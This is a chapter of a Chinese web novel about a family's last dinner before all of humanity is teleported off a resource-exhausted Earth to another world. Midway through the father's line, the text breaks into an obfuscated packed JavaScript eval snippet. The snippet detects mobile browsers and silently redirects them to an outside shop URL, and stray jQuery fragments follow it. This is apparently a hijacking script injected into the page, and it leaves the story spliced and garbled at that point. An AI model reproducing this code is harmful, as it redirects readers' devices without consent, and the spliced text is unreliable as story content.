电视里的新闻主播穿着一身笔挺的深蓝色西装，表情庄重得像在宣读国丧。
"蓝星资源枯竭已进入不可逆阶段。据联合国最新报告，全球淡水储量较五十年前下降百分之七十三，可耕种土地面积缩减百分之六十八，化石能源预计将在十一年内彻底耗尽。经全球各国联合决议，'星辉界移民计划'将于今晚二十四时正式启动。届时，全体蓝星人类将被传送至异世界——星辉界。请各位公民与家人做最后的告别，本次传送为全员覆盖，无需前往任何集合点。零点整，传送将在每一位公民所在的位置同步启动。"
屏幕左上角是一张蓝星的全球卫星图，大片陆地的像素是枯黄色的，海洋边缘的蓝色比五十年前浅了太多，像一缸被反复稀释过三十年的颜料。曾经有两百多个国家的版图如今只剩下不到四十个，小国在资源枯竭中一个接一个消失，剩下的人口全部压缩进一百多座巨型城市里苟延残喘。全球最后十亿人挤在这些钢铁水泥的堡垒中，水一天比一天少，食物一天比一天贵，而今晚之后，这十亿人将同时离开。剩下的蓝星，将变成一颗空无一人的星球。
苏晴雪把一块红烧肉塞进嘴里，嚼了两下，含糊不清地评价："爸，你这肉炖得比上回咸了。"
苏国栋坐在餐桌对面，手里端着一碗白米饭，筷子悬在半空，没急着吃。他盯着电视屏幕上那片枯黄的陆地看了好几秒，才低下头扒了一口饭："咸了就多喝点水。到了那边，可能连咸味都吃不上。"
他说这话的时候语气很平，但苏晴雪注意到她爸握筷子的指节微微发白。苏国栋一辈子不爱说煽情的话，所有的舍不得都藏在那些看似随意的细节里，比如今天这盘肉，他放了比平时多半勺盐，好像想把所有能给的滋味都塞进这最后一顿饭里。
周雪梅从厨房里端出最后一碗汤，围裙上还沾着油渍。她把汤碗放在桌子正中央，顺手在围裙上擦了擦手，一屁股坐下，拿起筷子就往苏晴雪碗里夹菜："多吃点。过去那边不知道吃不吃得惯，你从小就挑食，到了异世界可没人惯着你。"
苏晴雪被她妈这通操作弄得哭笑不得，碗里堆得像小山一样，肉、菜、蛋全挤在一起，冒了尖。家里已经一个月没吃上肉了，但这是最后一顿了，大家都很舍得。
苏晴雪放下筷子看着周雪梅，笑着说："妈，你这说得好像我明天就要去非洲挖矿一样。"
周雪梅瞪了她一眼，眼眶有点红，但语气还是硬的："非洲挖矿还能打电话回来，你去异世界，连个信号都没有。我不担心你，谁担心你？"
苏晴雪收了笑，沉默了两秒。她其实知道周雪梅在怕什么，蓝星已经撑不下去了，水越来越少，地越来越贫，新闻里每天都在播新的粮荒和干旱。星辉界是个什么地方，有没有吃的，能不能活下去，所有人都不知道。她妈嘴上说的"不担心"，是怕她带着包袱上路。
苏国栋低头吃饭，一声不吭。但苏晴雪注意到，她爸那一双半湿的眼睛。她把碗里堆得冒尖的菜一口一口往嘴里送，咬得很用力，像要把这顿饭的味道刻在舌头根上。
窗外的天已经全黑了。蓝星的最后一个夜晚安静得出奇，没有烟花、没有骚乱、没有新闻里不断渲染的恐慌，所有人都在自己家里，跟家人吃最后一顿饭。
五十年前，蓝星被称为"人类永远的家园"。四十年前，第一座城市因为淡水枯竭而被废弃。三十年前，粮食危机席卷了三分之二的国家。二十年前，海洋酸化的速度超过了所有模型的预测，最后一批野生鱼群消失在了太平洋深处。十年前，全世界只剩下十亿人。而今晚之后，蓝星上将空无一人。
电视里开始播放倒计时："距离全球传送启动，还有三小时。"
苏国栋终于舍得放下了碗，从桌子底下拽出一个灰蓝色的户外背包，放在苏晴雪面前。背包鼓鼓囊囊，拉链撑得几乎合不上，侧面口袋塞得变了形，拎起来沉甸甸的，少说也有十几斤。
苏晴雪接过来掂了掂，拉开拉链往里看了一眼，整个人愣住了。
最底下是一口小型不锈钢锅，直径二十八厘米，锅底擦得锃亮，一看就是新买的，连标签还没来得及撕干净。锅边上塞了一个巴掌大的密封袋，里面装着白花花的细盐，她掂了一下，至少有五百克，够一个人吃上好几个月。盐旁边是急救包、瑞士军刀、一盒创可贴、一卷绳子、一块打火棒、两瓶五百毫升的矿泉水，还有三大块压缩饼干和一包净水片。每一样都码得整整齐齐，缝隙里塞着揉皱的旧报纸防止碰撞。
她把背包翻了底朝天，抬头看她爸："爸……你这是把半个厨房都塞进来了？"
苏国栋闷声
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17855443|211888||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
说："锅是上月超市打折买的，想着你在外面能用上。盐是我在厨房备的，多拿了一包。其他都是家里现成的。"顿了顿，又补了一句，"那口锅二十八厘米，炖个汤煮个饭都够用，还能当盾牌用。盐我称过，整五百克，够你吃好几个月。"
苏晴雪把锅拿出来看了看，锅底平平整整，锅沿打磨得很光滑，不锈钢的厚度恰到好处，足够耐用。她握着锅柄，想象了一下她爸在超市的货架前挑锅的样子，一个沉默寡言的五十多岁男人，站在一排不锈钢锅前面，反复掂量重量、对比尺寸，最后挑了最合适的那一口。她鼻子一酸，把锅塞回背包里，拉好拉链，把背包紧紧抱在怀里："谢谢爸。这些东西，每一样都有用。"
周雪梅伸手摸了摸她的头发，力道不大，像摸小孩那样："你从小独立，我们不担心你。但你记住，去了那边，先活下来，再想别的。别想着找我们，我们有本事会找你，你没本事找也是白搭。"
苏晴雪抬头看着母亲的脸，她妈这两年白头发多了不少，但眼睛还是那么亮，利索得像一把刚磨过的剪刀。她妈说得对，他们家的人从来不拖泥带水，行就行，不行就先活着再说。
苏国栋这时候终于抬了头，看着她，语气平淡却落地有声："你妈说得对。自己站稳了再说。我们在哪都能活着，不用你操心。"
苏晴雪深吸一口气，把背包背上，站起来。她走到父母中间，伸手一边搂了一个："那我先混出个人样来，等你们来找我。"
周雪梅拍了她后背一巴掌："说大话不腰疼。"
苏国栋嘴角弯了一下，幅度极小，但苏晴雪看到了。她爸笑的时候总是这样，不露齿，不发声，只是两边的嘴角微微往上一提，像水面上的涟漪一样转瞬即逝。但对她来说，这一个弧度就足够撑着她走很远的路了。
零点到了。
白光从天花板上倾泻下来，像一面从天上铺展开的幕布，裹着柔和而无法抗拒的力量，无声无息地笼罩了整个客厅。没有任何声音，没有任何预兆，光本身就是唯一的信号。
苏晴雪最后看了一眼父母的脸，周雪梅在看着她，苏国栋也在看着她，两个人都没有伸手来拉她。他们站在那里，像两棵根扎得很深的树，无论风往哪个方向吹，都不会弯腰。
白光吞没了一切。